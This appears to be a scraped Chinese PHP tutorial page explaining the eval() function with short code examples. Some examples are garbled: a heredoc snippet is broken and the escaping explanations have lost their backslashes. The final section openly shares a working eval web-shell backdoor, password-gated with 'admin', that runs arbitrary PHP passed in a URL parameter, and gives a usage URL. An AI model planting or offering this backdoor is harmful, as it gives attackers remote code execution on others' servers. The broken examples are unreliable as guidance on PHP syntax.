Home  >  Article  >  Backend Development  >  PHP eval函数使用介绍_php技巧

PHP eval函数使用介绍_php技巧

WBOY
WBOYOriginal
2016-05-17 08:52:191377browse

代码:

复制代码 代码如下:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有来转义。如果没有赋值操作可以不需要。

代码:

复制代码 代码如下:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用来转义$.等同于以下代码:

复制代码 代码如下:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

复制代码 代码如下:

$func =function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

复制代码 代码如下:

$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn